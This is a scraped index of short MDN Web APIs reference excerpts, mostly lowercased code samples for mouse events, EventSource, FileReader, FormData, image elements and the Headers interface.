('mouseenter', e => { mousetarget.style.border = '5px dotted orange'; entereventcount++; addlistitem('this is mouseenter event ' + entereventcount + '.'); }); mousetarget.addeventlistener('mouseleave', e => { mousetarget.style.border = '1px solid #333'; leaveeventcount++; addlistitem('this is mouseleave event ' + leaveeventcount + '.'); }); function addlistitem(text) { // create a new text node using the supplied text var newtextnode = document.createtextnode(text); // create a new li element var newlistitem = document.createelement("li"); // add the text node to the li element newlistitem.appendchild(newtextnode); // add the newly created list item to list unorderedlist.appendchild(newlistitem); } result specifications specification status ...
Element: mouseleave event - Web APIs
('mouseenter', e => { mousetarget.style.border = '5px dotted orange'; entereventcount++; addlistitem('this is mouseenter event ' + entereventcount + '.'); }); mousetarget.addeventlistener('mouseleave', e => { mousetarget.style.border = '1px solid #333'; leaveeventcount++; addlistitem('this is mouseleave event ' + leaveeventcount + '.'); }); function addlistitem(text) { // create a new text node using the supplied text var newtextnode = document.createtextnode(text); // create a new li element var newlistitem = document.createelement("li"); // add the text node to the li element newlistitem.appendchild(newtextnode); // add the newly created list item to list unorderedlist.appendchild(newlistitem); } result specifications specification status ...
Element: mousemove event - Web APIs
g === true) { drawline(context, x, y, e.offsetx, e.offsety); x = e.offsetx; y = e.offsety; } }); window.addeventlistener('mouseup', e => { if (isdrawing === true) { drawline(context, x, y, e.offsetx, e.offsety); x = 0; y = 0; isdrawing = false; } }); function drawline(context, x1, y1, x2, y2) { context.beginpath(); context.strokestyle = 'black'; context.linewidth = 1; context.moveto(x1, y1); context.lineto(x2, y2); context.stroke(); context.closepath(); } result specifications specification status ui eventsthe definition of 'mousemove' in that specification.
Element: mouseup event - Web APIs
g === true) { drawline(context, x, y, e.offsetx, e.offsety); x = e.offsetx; y = e.offsety; } }); window.addeventlistener('mouseup', e => { if (isdrawing === true) { drawline(context, x, y, e.offsetx, e.offsety); x = 0; y = 0; isdrawing = false; } }); function drawline(context, x1, y1, x2, y2) { context.beginpath(); context.strokestyle = 'black'; context.linewidth = 1; context.moveto(x1, y1); context.lineto(x2, y2); context.stroke(); context.closepath(); } result specifications specification status ui eventsthe definition of 'mouseup' in that specification.
Element.setAttribute() - Web APIs
if the attribute already exists, the value is updated; otherwise a new attribute is added with the specified name and value.
Element.shadowRoot - Web APIs
connectedcallback() { console.log('custom square element added to page.'); updatestyle(this); } attributechangedcallback(name, oldvalue, newvalue) { console.log('custom square element attributes changed.'); updatestyle(this); } in the updatestyle() function itself, we get a reference to the shadow dom using element.shadowroot.
Event.returnValue - Web APIs
WebAPIEventreturnValue
new projects should generally avoid using returnvalue, although they may if they choose to do so.
Event.timeStamp - Web APIs
WebAPIEventtimeStamp
in newer implementations, the value is a domhighrestimestamp accurate to 5 microseconds (0.005 ms).
Event - Web APIs
WebAPIEvent
deprecated methods event.createevent() creates a new event, which must then be initialized by calling its initevent() method.
EventSource.close() - Web APIs
WebAPIEventSourceclose
examples var button = document.queryselector('button'); var evtsource = new eventsource('sse.php'); button.onclick = function() { console.log('connection closed'); evtsource.close(); } note: you can find a full example on github — see simple sse demo using php.
EventSource: error event - Web APIs
bubbles no cancelable no interface event or errorevent event handler property eventsource.onerror examples var evtsource = new eventsource('sse.php'); // addeventlistener version evtsource.addeventlistener('error', (e) => { console.log("an error occurred while attempting to connect."); }); // onerror version evtsource.onerror = (e) => { console.log("an error occurred while attempting to connect."); }; specifications specification status html living standardthe definition of 'error event' in that specification.
EventSource.onmessage - Web APIs
syntax eventsource.onmessage = function examples evtsource.onmessage = function(e) { var newelement = document.createelement("li"); newelement.textcontent = "message: " + e.data; eventlist.appendchild(newelement); } note: you can find a full example on github — see simple sse demo using php.
EventSource: open event - Web APIs
bubbles no cancelable no interface event event handler property eventsource.onopen examples var evtsource = new eventsource('sse.php'); // addeventlistener version evtsource.addeventlistener('open', (e) => { console.log("the connection has been established."); }); // onopen version evtsource.onopen = (e) => { console.log("the connection has been established."); }; specifications specification status html living standardthe definition of 'open event' in that specification.
EventSource.readyState - Web APIs
possible values are: 0 — connecting 1 — open 2 — closed examples var evtsource = new eventsource('sse.php'); console.log(evtsource.readystate); note: you can find a full example on github — see simple sse demo using php.
EventSource.url - Web APIs
WebAPIEventSourceurl
examples var evtsource = new eventsource('sse.php'); console.log(evtsource.url); note: you can find a full example on github — see simple sse demo using php.
EventSource.withCredentials - Web APIs
examples var evtsource = new eventsource('sse.php'); console.log(evtsource.withcredentials); note: you can find a full example on github — see simple sse demo using php.
EventTarget - Web APIs
target="_top"><rect x="1" y="1" width="110" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor eventtarget() creates a new eventtarget object instance.
ExtendableMessageEvent - Web APIs
constructor extendablemessageevent() creates a new extendablemessageevent object instance.
FetchEvent - Web APIs
constructor fetchevent() creates a new fetchevent object.
Fetch API - Web APIs
WebAPIFetch API
it will seem familiar to anyone who has used xmlhttprequest, but the new api provides a more powerful and flexible feature set.
FileEntrySync - Web APIs
method overview filewritersync createwriter () raises (fileexception); file file () raises (fileexception); methods createwriter() creates a new filewriter associated with the file that the fileentry represents.
FileReader: abort event - Web APIs
g"; } .file-select { grid-area: select; } .preview { grid-area: preview; } .event-log { grid-area: log; } .event-log>label { display: block; } .event-log-contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const preview = document.queryselector('img.preview'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { preview.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('loadstart', handleevent); reader.addeventlistener('load', handleevent); reader.addeventlistener('load...
FileReader: error event - Web APIs
bubbles no cancelable no interface progressevent event handler property filereader.onerror examples const fileinput = document.queryselector('input[type="file"]'); const reader = new filereader(); function handleselected(e) { const selectedfile = fileinput.files[0]; if (selectedfile) { reader.addeventlistener('error', () => { console.error(`error occurred reading file: ${selectedfile.name}`); }); reader.addeventlistener('load', () => { console.error(`file: ${selectedfile.name} read successfully`); }); reader.readasdataurl(selectedfile); ...
FileReader: load event - Web APIs
g"; } .file-select { grid-area: select; } .preview { grid-area: preview; } .event-log { grid-area: log; } .event-log>label { display: block; } .event-log-contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const preview = document.queryselector('img.preview'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { preview.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('loadstart', handleevent); reader.addeventlistener('load', handleevent); reader.addeventlistener('load...
FileReader: loadend event - Web APIs
g"; } .file-select { grid-area: select; } .preview { grid-area: preview; } .event-log { grid-area: log; } .event-log>label { display: block; } .event-log-contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const preview = document.queryselector('img.preview'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { preview.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('loadstart', handleevent); reader.addeventlistener('load', handleevent); reader.addeventlistener('load...
FileReader: loadstart event - Web APIs
g"; } .file-select { grid-area: select; } .preview { grid-area: preview; } .event-log { grid-area: log; } .event-log>label { display: block; } .event-log-contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const preview = document.queryselector('img.preview'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { preview.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('loadstart', handleevent); reader.addeventlistener('load', handleevent); reader.addeventlistener('load...
onerror - Web APIs
the filereader onerror handler receives an event object, not an error object, as a parameter, but an error can be accessed from the filereader object, as instanceoffilereader.error // callback from a <input type="file" onchange="onchange(event)"> function onchange(event) { var file = event.target.files[0]; var reader = new filereader(); reader.onerror = function(event) { alert("failed to read file!\n\n" + reader.error); reader.abort(); // (...does this do anything useful in an onerror handler?) }; reader.readastext(file); } ...
FileReader.onload - Web APIs
WebAPIFileReaderonload
example // callback from a <input type="file" onchange="onchange(event)"> function onchange(event) { var file = event.target.files[0]; var reader = new filereader(); reader.onload = function(e) { // the file's text will be printed here console.log(e.target.result) }; reader.readastext(file); } ...
FileReader: progress event - Web APIs
g"; } .file-select { grid-area: select; } .preview { grid-area: preview; } .event-log { grid-area: log; } .event-log>label { display: block; } .event-log-contents { resize: none; } js const fileinput = document.queryselector('input[type="file"]'); const preview = document.queryselector('img.preview'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { preview.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('loadstart', handleevent); reader.addeventlistener('load', handleevent); reader.addeventlistener('load...
FileReader.readAsArrayBuffer() - Web APIs
newer api available the blob.arraybuffer() method is a newer promise-based api to read a file as an array buffer.
FileReader.readAsBinaryString() - Web APIs
example var canvas = document.createelement('canvas'); var height = 200; var width = 200; canvas.width = width; canvas.height = height; var ctx = canvas.getcontext('2d'); ctx.strokestyle = '#090'; ctx.beginpath(); ctx.arc(width/2, height/2, width/2 - width/10, 0, math.pi*2); ctx.stroke(); canvas.toblob(function (blob) { var reader = new filereader(); reader.onload = function () { console.log(reader.result); } reader.readasbinarystring(blob); }); specifications specification status comment file apithe definition of 'readasbinarystring' in that specification.
FileReader.readAsText() - Web APIs
newer api avaliable the blob.text() method is a newer promise-based api to read a file as text.
FileReader.readyState - Web APIs
example var reader = new filereader(); console.log('empty', reader.readystate); // readystate will be 0 reader.readastext(blob); console.log('loading', reader.readystate); // readystate will be 1 reader.onloadend = function () { console.log('done', reader.readystate); // readystate will be 2 }; value a number which is one of the three possible state constants define for the filereader api.
FileReader.result - Web APIs
WebAPIFileReaderresult
var fileinput = document.queryselector('input[type="file"]'); function read(callback) { var file = fileinput.files.item(0); var reader = new filereader(); reader.onload = function() { callback(reader.result); } reader.readastext(file); } specifications specification status comment file apithe definition of 'result' in that specification.
FileReader - Web APIs
constructor filereader() returns a newly constructed filereader.
FileSystemFileEntry.file() - Web APIs
function readfile(entry, successcallback, errorcallback) { entry.file(function(file) { let reader = new filereader(); reader.onload = function() { successcallback(reader.result); }; reader.onerror = function() { errorcallback(reader.error); } reader.readastext(file); }, errorcallback); } this function calls file(), specifying as its success callback a method which proceeds to use a filereader to read the file as text.
FileSystemFlags.create - Web APIs
true false path exists the existing file or directory is removed and replaced with a new one, then the successcallback is called with a filesystemfileentry or a filesystemdirectoryentry, as appropriate.
FileSystemFlags.exclusive - Web APIs
true false path exists the existing file or directory is removed and replaced with a new one, then the successcallback is called with a filesystemfileentry or a filesystemdirectoryentry, as appropriate.
FileHandle API - Web APIs
var idbreq = window.indexeddb.open('myfilestoragedatabase'); // if necessary, let's create a datastore for the files idbreq.onupgradeneeded = function () { this.result.createobjectstore('files'); } idbreq.onsuccess = function () { var db = this.result; // let's create a new file var handlereq = db.mozcreatefilehandle("test.txt", "plain/text"); handlereq.onsuccess = function () { var myfilehandle = this.result; var store = db.transaction(['files'], 'readwrite').objectstore('files'); // let's store the file permanently // hint: it could be handy to use the file name as the storage key var storereq = store.add(myfilehandle, myfilehandle.name);...
File and Directory Entries API support in Firefox - Web APIs
hopefully chrome will be updated soon to use the newer names!
FontFace.family - Web APIs
WebAPIFontFacefamily
example var fontface = new fontface('roboto', 'url(https://fonts.example.com/roboto.woff2)'); console.log(fontface.family); // 'roboto' fontface.family = 'newroboto'; console.log(fontface.family); // 'newroboto' specifications specification status comment css font loading module level 3the definition of 'family' in that specification.
FontFace - Web APIs
WebAPIFontFace
constructor fontface() constructs and returns a new fontface object, built from an external resource described by an url or from an arraybuffer.
FontFaceSetLoadEvent - Web APIs
constructor fontfacesetloadevent() creates a new fontfacesetloadevent object.
Force Touch events - Web APIs
force touch events are a proprietary, apple-specific feature which makes possible (where supported by the input hardware) new interactions based on how hard the user clicks or presses down on the touchscreen or trackpad.
FormData.delete() - Web APIs
WebAPIFormDatadelete
example the following line creates an empty formdata object and prepopulates it with key/value pairs from a form: var formdata = new formdata(myform); you can delete keys and their values using delete(): formdata.delete('username'); specifications specification status comment xmlhttprequestthe definition of 'delete()' in that specification.
FormData.entries() - Web APIs
WebAPIFormDataentries
example // create a test formdata object var formdata = new formdata(); formdata.append('key1', 'value1'); formdata.append('key2', 'value2'); // display the key/value pairs for(var pair of formdata.entries()) { console.log(pair[0]+ ', '+ pair[1]); } the result is: key1, value1 key2, value2 specifications specification status comment xmlhttprequestthe definition of 'entries() (as iterator<>)' in that specification.
FormData.get() - Web APIs
WebAPIFormDataget
example the following line creates an empty formdata object: var formdata = new formdata(); if we add two username values using formdata.append: formdata.append('username', 'chris'); formdata.append('username', 'bob'); the following get() function will only return the first username value appended: formdata.get('username'); // returns "chris" specifications specification status comment xmlhttprequestthe definition of 'get()' in that specificatio...
FormData.getAll() - Web APIs
WebAPIFormDatagetAll
example the following line creates an empty formdata object: var formdata = new formdata(); if we add two username values using formdata.append: formdata.append('username', 'chris'); formdata.append('username', 'bob'); the following getall() function will return both username values in an array: formdata.getall('username'); // returns ["chris", "bob"] specifications specification status comment xmlhttprequestthe definition of 'getall()' in that ...
FormData.has() - Web APIs
WebAPIFormDatahas
example the following line creates an empty formdata object: var formdata = new formdata(); the following snippet shows the results of testing for the existence of username in the formdata object, before and after appending a username value to it with formdata.append: formdata.has('username'); // returns false formdata.append('username', 'chris'); formdata.has('username'); // returns true specifications specification status comment xmlhttprequestthe definit...
FormData.keys() - Web APIs
WebAPIFormDatakeys
example // create a test formdata object var formdata = new formdata(); formdata.append('key1', 'value1'); formdata.append('key2', 'value2'); // display the keys for (var key of formdata.keys()) { console.log(key); } the result is: key1 key2 specifications specification status comment xmlhttprequestthe definition of 'keys() (as iterator<>)' in that specification.
FormData.values() - Web APIs
WebAPIFormDatavalues
example // create a test formdata object var formdata = new formdata(); formdata.append('key1', 'value1'); formdata.append('key2', 'value2'); // display the values for (var value of formdata.values()) { console.log(value); } the result is: value1 value2 specifications specification status comment xmlhttprequestthe definition of 'values() (as iterator<>)' in that specification.
FormDataEvent.formData - Web APIs
examples // grab reference to form const formelem = document.queryselector('form'); // submit handler formelem.addeventlistener('submit', (e) => { // on form submission, prevent default e.preventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.se...
Gamepad.timestamp - Web APIs
WebAPIGamepadtimestamp
values are monotonically increasing, meaning that they can be compared to determine the ordering of updates, as newer values will always be greater than or equal to older values.
GamepadEvent - Web APIs
constructor gamepadevent() returns a new gamepadevent object.
Geolocation - Web APIs
geolocation.watchposition() secure context returns a long value representing the newly established callback function to be invoked whenever the device location changes.
GlobalEventHandlers.onanimationcancel - Web APIs
all we do here is log information to the console, but you might find other use cases, such as starting a new animation or effect, or terminating some dependent operation.
GlobalEventHandlers.onformdata - Web APIs
examples // grab reference to form const formelem = document.queryselector('form'); // submit handler formelem.addeventlistener('submit', (e) => { // on form submission, prevent default e.preventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.onformdata = (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }; sp...
GlobalEventHandlers.onmousemove - Web APIs
html <p><a href="#" data-tooltip="first link">see a tooltip here &hellip;</a></p> <p><a href="#" data-tooltip="second link">&hellip; or here!</a></p> css .tooltip { position: absolute; z-index: 9999; padding: 6px; background: #ffd; border: 1px #886 solid; border-radius: 5px; } javascript const tooltip = new (function() { const node = document.createelement('div'); node.classname = 'tooltip'; node.setattribute('hidden', ''); document.body.appendchild(node); this.follow = function(event) { node.style.left = event.clientx + 20 + 'px'; node.style.top = event.clienty + 10 + 'px'; }; this.show = function(event) { node.textcontent = event.target.dataset.tooltip; node.removea...
GlobalEventHandlers.onselectionchange - Web APIs
example let selection; document.onselectionchange = function() { console.log('new selection made'); selection = document.getselection(); }; for a full example, see our key quote generator demo.
GlobalEventHandlers.onselectstart - Web APIs
the selectstart event fires when the user starts to make a new text selection on a webpage.
Gyroscope.x - Web APIs
WebAPIGyroscopex
let gyroscope = new gyroscope({frequency: 60}); gyroscope.addeventlistener('reading', e => { console.log("angular velocity along the x-axis " + gyroscope.x); console.log("angular velocity along the y-axis " + gyroscope.y); console.log("angular velocity along the z-axis " + gyroscope.z); }); gyroscope.start(); specifications specification status comment generic sensor api candidate...
Gyroscope.y - Web APIs
WebAPIGyroscopey
let gyroscope = new gyroscope({frequency: 60}); gyroscope.addeventlistener('reading', e => { console.log("angular velocety along the x-axis " + gyroscope.x); console.log("angular velocety along the y-axis " + gyroscope.y); console.log("angular velocety along the z-axis " + gyroscope.z); }); gyroscope.start(); specifications specification status comment generic sensor api candidate...
Gyroscope.z - Web APIs
WebAPIGyroscopez
let gyroscope = new gyroscope({frequency: 60}); gyroscope.addeventlistener('reading', e => { console.log("angular velocety along the x-axis " + gyroscope.x); console.log("angular velocety along the y-axis " + gyroscope.y); console.log("angular velocety along the z-axis " + gyroscope.z); }); gyroscope.start(); specifications specification status comment generic sensor api candidate...
HTMLAnchorElement.relList - Web APIs
syntax var relstr = anchorelt.rellist; example var anchors = document.getelementsbytagname("a"); var length = anchors.length; for (var i = 0; i < length; i++) { var list = anchors[i].rellist; var listlength = list.length; console.log("new anchor node found with", listlength, "link types in rellist."); for (var j = 0; j < listlength; j++) { console.log(list[j]); } } specifications specification status comment html living standardthe definition of 'rellist' in that specification.
HTMLAreaElement.relList - Web APIs
syntax var relstr = areaelt.rellist; example var areas = document.getelementsbytagname("area"); var length = areas.length; for (var i = 0; i < length; i++) { var list = areas[i].rellist; var listlength = list.length; console.log("new area found."); for (var j = 0; j < listlength; j++) { console.log(list[j]); } } specifications specification status comment html living standardthe definition of 'rellist' in that specification.
HTMLCanvasElement.captureStream() - Web APIs
if not set, a new frame will be captured each time the canvas changes; if set to 0, frames will not be captured automatically; instead, they will only be captured when the returned track's requestframe() method is called.
HTMLCanvasElement.getContext() - Web APIs
note: the identifier "experimental-webgl" is used in new implementations of webgl.
HTMLCanvasElement.mozFetchAsStream() - Web APIs
the htmlcanvaselement.mozfetchasstream() internal method used to create a new input stream that, when ready, would provide the contents of the canvas as image data.
HTMLCanvasElement.toDataURL() - Web APIs
vas.height = nheight; octx.drawimage(ocolorimg, 0, 0); oimgdata = octx.getimagedata(0, 0, nwidth, nheight); apix = oimgdata.data; npixlen = apix.length; for (npixel = 0; npixel < npixlen; npixel += 4) { apix[npixel + 2] = apix[npixel + 1] = apix[npixel] = (apix[npixel] + apix[npixel + 1] + apix[npixel + 2]) / 3; } octx.putimagedata(oimgdata, 0, 0); ograyimg = new image(); ograyimg.src = ocanvas.todataurl(); ograyimg.onmouseover = showcolorimg; ocolorimg.onmouseout = showgrayimg; octx.clearrect(0, 0, nwidth, nheight); ocolorimg.style.display = "none"; ocolorimg.parentnode.insertbefore(ograyimg, ocolorimg); } } specifications specification status comment html living standardthe definition of 'htmlcanvasele...
HTMLElement: beforeinput event - Web APIs
bubbles yes cancelable yes interface inputevent event handler property none sync / async sync composed yes default action update the dom element examples this example logs current value of the element immediately before replacing that value with the new one applied to the <input> element.
HTMLElement.contextMenu - Web APIs
syntax var elementcontextmenu = element.contextmenu; example var contextmenu = document.getelementbyid("element").contextmenu; // change the label of the first menu entry contextmenu.firstelementchild.label = "new label"; ...
HTMLHyperlinkElementUtils.search - Web APIs
syntax string = object.search; object.search = string; examples // let an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils.search?q=123"> element be in the document var anchor = document.getelementbyid("myanchor"); var querystring = anchor.search; // returns:'?q=123' // further parsing: let params = new urlsearchparams(querystring); let q = parseint(params.get("q")); // is the number 123 specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.search' in that specification.
HTMLImageElement.complete - Web APIs
let lightboxelem = document.queryselector("#lightbox"); let lightboximgelem = lightboxelem.queryselector("img"); let lightboxcontrolselem = lightboxelem.queryselector(".toolbar"); async function loadimage(url, elem) { return new promise((resolve, reject) => { elem.onload = () => resolve(elem); elem.onerror = reject; elem.src = url; }); } async function lightbox(url) { lightboxelem.style.display = "block"; await loadimage("https://somesite.net/huge-image.jpg", lightboximgelem); lightboxcontrolselem.disabled = false; } /* ...
HTMLImageElement.decoding - Web APIs
examples var img = new image(); img.decoding = 'sync'; img.src = 'img/logo.png'; specifications specification status comment html living standardthe definition of 'decoding' in that specification.
HTMLImageElement.height - Web APIs
syntax htmlimageelement.height = newheight; let height = htmlimageelement.height; value an integer value indicating the height of the image.
HTMLImageElement.hspace - Web APIs
recommendation provides additional details not present in the newer specification.
HTMLImageElement.loading - Web APIs
function addimagetolist(url) { const list = document.queryselector("div.photo-list"); let newitem = document.createelement("div"); newitem.classname = "photo-item"; let newimg = document.createelement("img"); newimg.loading = "lazy"; newimg.width = 320; newimg.height = 240; newimg.src = url; newitem.appendchild(newimg); list.appendchild(newitem); } specifications specification status comment html living standardthe definition of 'htmlimagee...
HTMLImageElement.referrerPolicy - Web APIs
examples var img = new image(); img.src = 'img/logo.png'; img.referrerpolicy = 'origin'; var div = document.getelementbyid('divaround'); div.appendchild(img); // fetch the image using the origin as the referrer specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
HTMLImageElement.sizes - Web APIs
award-winning stuff, i'm sure.</p> <img src="/files/16870/new-york-skyline-wide.jpg" srcset="/files/16870/new-york-skyline-wide.jpg 3724w, /files/16869/new-york-skyline-4by3.jpg 1961w, /files/16871/new-york-skyline-tall.jpg 1060w" sizes="((min-width: 50em) and (max-width: 60em)) 50em, ((min-width: 30em) and (max-width: 50em)) 30em, (max-width: 30em) 20em"> <p>then there's even more am...
HTMLImageElement.src - Web APIs
syntax htmlimageelement.src = newsource; let src = htmlimageelement.src; value when providing only a single image, rather than a set of images from which the browser selects the best match for the viewport size and display pixel density, the src attribute is a usvstring specifying the url of the desired image.
HTMLImageElement.srcset - Web APIs
let box = document.queryselector(".box"); let image = box.queryselector("img"); let newelem = document.createelement("p"); newelem.innerhtml = `image: <code>${image.currentsrc}</code>`; box.appendchild(newelem); result in the displayed output below, the selected url will correspond with whether your display results in selecting the 1x or the 2x version of the image.
HTMLImageElement.width - Web APIs
syntax htmlimageelement.width = newwidth; let width = htmlimageelement.width; value an integer value indicating the width of the image.
HTMLInputElement: search event - Web APIs
bubbles yes cancelable no interface event event handler property onsearch there are several ways a search can be initiated, such as by pressing enter while the <input> is focused, or, if the incremental attribute is present, after a ua-defined timeout elapses since the most recent keystroke (with new keystrokes resetting the timeout so the firing of the event is debounced).
HTMLInputElement.setSelectionRange() - Web APIs
optionally, in newer browser versions, you can specify the direction in which selection should be considered to have occurred.
HTMLInputElement - Web APIs
setrangetext() replaces a range of text in the input element with new text.
HTMLLabelElement.htmlFor - Web APIs
syntax controlid = htmllabelelement.htmlfor htmllabelelement.htmlfor = newid value a domstring which contains the id string of the element which is associated with the control.
HTMLLinkElement.relList - Web APIs
syntax var relstr = linkelt.rellist; example var links = document.getelementsbytagname("link"); var length = links.length; for (var i = 0; i < length; i++) { var list = links[i].rellist; var listlength = list.length; console.log("new link found."); for (var j = 0; j < listlength; j++) { console.log(list[j]); } } specifications specification status comment html living standardthe definition of 'rellist' in that specification.
HTMLMediaElement.audioTracks - Web APIs
once you have a reference to the list, you can monitor it for changes to detect when new audio tracks are added or existing ones removed.
HTMLMediaElement.buffered - Web APIs
the htmlmediaelement.buffered read-only property returns a new timeranges object that indicates the ranges of the media source that the browser has buffered (if any) at the moment the buffered property is accessed.
HTMLMediaElement.fastSeek() - Web APIs
the htmlmediaelement.fastseek() method quickly seeks the media to the new time with precision tradeoff.
HTMLMediaElement.load() - Web APIs
the process of aborting any ongoing activities will cause any outstanding promises returned by play() being resolved or rejected as appropriate based on their status before the loading of new media can begin.
HTMLMediaElement.seekable - Web APIs
recommendation specifies a new algorithm for returning the seekable time range of a media element whose source is a mediasource object.
HTMLMedia​Element​.textTracks - Web APIs
once you have a reference to the list, you can monitor it for changes to detect when new text tracks are added or existing ones removed.
HTMLMediaElement.videoTracks - Web APIs
once you have a reference to the list, you can monitor it for changes to detect when new video tracks are added or existing ones removed.
HTMLElement.focus() - Web APIs
this object may contain the following property: preventscroll optional a boolean value indicating whether or not the browser should scroll the document to bring the newly-focused element into view.
HTMLSelectElement.add() - Web APIs
if this parameter is null (or the index does not exist), the new element is appended to the end of the collection.
HTMLSelectElement.selectedIndex - Web APIs
elem.selectedindex; selectelem.selectedindex = index; example html <p id="p">selectedindex: 0</p> <select id="select"> <option selected>option a</option> <option>option b</option> <option>option c</option> <option>option d</option> <option>option e</option> </select> javascript var selectelem = document.getelementbyid('select') var pelem = document.getelementbyid('p') // when a new <option> is selected selectelem.addeventlistener('change', function() { var index = selectelem.selectedindex; // add that data to the <p> pelem.innerhtml = 'selectedindex: ' + index; }) specifications specification status comment html living standardthe definition of 'htmlselectelement' in that specification.
HTMLSlotElement.assignedNodes() - Web APIs
every time the element inserted in the slot changes, we log a report to the console saying which slot has changed, and what the new node inside the slot is.
HTMLSlotElement.name - Web APIs
every time the element inserted in the slot changes, we log a report to the console saying which slot has changed, and what the new node inside the slot is.
HTMLSlotElement: slotchange event - Web APIs
every time the element inserted in the slot changes, we log a report to the console saying which slot has changed, and what the new node inside the slot is.
HTMLSlotElement - Web APIs
every time the element inserted in the slot changes, we log a report to the console saying which slot has changed, and what the new node inside the slot is.
HTMLStyleElement.type - Web APIs
for gecko, the type is most often given as "text/css." from the w3c spec on css: "the expectation is that binding-specific casting methods can be used to cast down from an instance of the cssrule interface to the specific derived interface implied by the type." syntax string = style.type; example if (newstyle.type != "text/css"){ // not supported!
HTMLTableRowElement - Web APIs
htmltablerowelement.insertcell() inserts a new cell just before the given position in the row.
HTMLTableSectionElement - Web APIs
htmltablesectionelement.insertrow() inserts a new row just before the given position in the section.
Dragging and Dropping Multiple Items - Web APIs
); dt.mozsetdataat("text/uri-list", "url3", 2); dt.mozsetdataat("text/plain", "url3", 2); // [item1] data=url1, index=0 // [item2] data=url2, index=1 // [item3] data=url3, index=2 after you added three items in two different formats, dt.mozcleardataat("text/uri-list", 1); dt.mozcleardataat("text/plain", 1); you've removed the second item clearing all types, then the old third item becomes new second item, and its index decreases.
Recommended Drag Types - Web APIs
ew of this advanced case: // currentevent is an existing drag operation event currentevent.datatransfer.setdata("text/x-moz-url", url); currentevent.datatransfer.setdata("application/x-moz-file-promise-url", url); currentevent.datatransfer.setdata("application/x-moz-file-promise-dest-filename", leafname); currentevent.datatransfer.mozsetdataat('application/x-moz-file-promise', new dataprovider(success,error), 0, components.interfaces.nsisupports); function dataprovider(){} dataprovider.prototype = { queryinterface : function(iid) { if (iid.equals(components.interfaces.nsiflavordataprovider) || iid.equals(components.interfaces.nsisupports)) return this; throw components.results.ns_nointerface; }, getflavordata : func...
HTML Drag and Drop API - Web APIs
let img = new image(); img.src = 'example.gif'; ev.datatransfer.setdragimage(img, 10, 10); } learn more about drag feedback images in: setting the drag feedback image define the drag effect the dropeffect property is used to control the feedback the user is given during a drag-and-drop operation.
Headers.delete() - Web APIs
WebAPIHeadersdelete
example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using headers.append: myheaders.append('content-type', 'image/jpeg'); myheaders.get('content-type'); // returns 'image/jpeg' you can then delete it again: myheaders.delete('content-type'); myheaders.get('content-type'); // returns null, as it has been deleted specifications specification status comment fet...
Headers.entries() - Web APIs
WebAPIHeadersentries
example // create a test headers object var myheaders = new headers(); myheaders.append('content-type', 'text/xml'); myheaders.append('vary', 'accept-language'); // display the key/value pairs for (var pair of myheaders.entries()) { console.log(pair[0]+ ': '+ pair[1]); } the result is: content-type: text/xml vary: accept-language ...
Headers.get() - Web APIs
WebAPIHeadersget
example creating an empty headers object is simple: var myheaders = new headers(); // currently empty myheaders.get('not-set'); // returns null you could add a header to this using headers.append, then retrieve it using get(): myheaders.append('content-type', 'image/jpeg'); myheaders.get('content-type'); // returns "image/jpeg" if the header has multiple values associated with it, the byte string will contain all the values, in the order they were added to the h...
Headers.has() - Web APIs
WebAPIHeadershas
example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using headers.append, then test for the existence of it using has(): myheaders.append('content-type', 'image/jpeg'); myheaders.has('content-type'); // returns true myheaders.has('accept-encoding'); // returns false specifications specification status comment fetchthe definition of 'has()' in that specificati...
Headers.keys() - Web APIs
WebAPIHeaderskeys
example // create a test headers object var myheaders = new headers(); myheaders.append('content-type', 'text/xml'); myheaders.append('vary', 'accept-language'); // display the keys for(var key of myheaders.keys()) { console.log(key); } the result is: content-type vary ...
Headers.values() - Web APIs
WebAPIHeadersvalues
example // create a test headers object var myheaders = new headers(); myheaders.append('content-type', 'text/xml'); myheaders.append('vary', 'accept-language'); // display the values for (var value of myheaders.values()) { console.log(value); } the result is: text/xml accept-language ...
History.length - Web APIs
WebAPIHistorylength
for example, for a page loaded in a new tab this property returns 1.
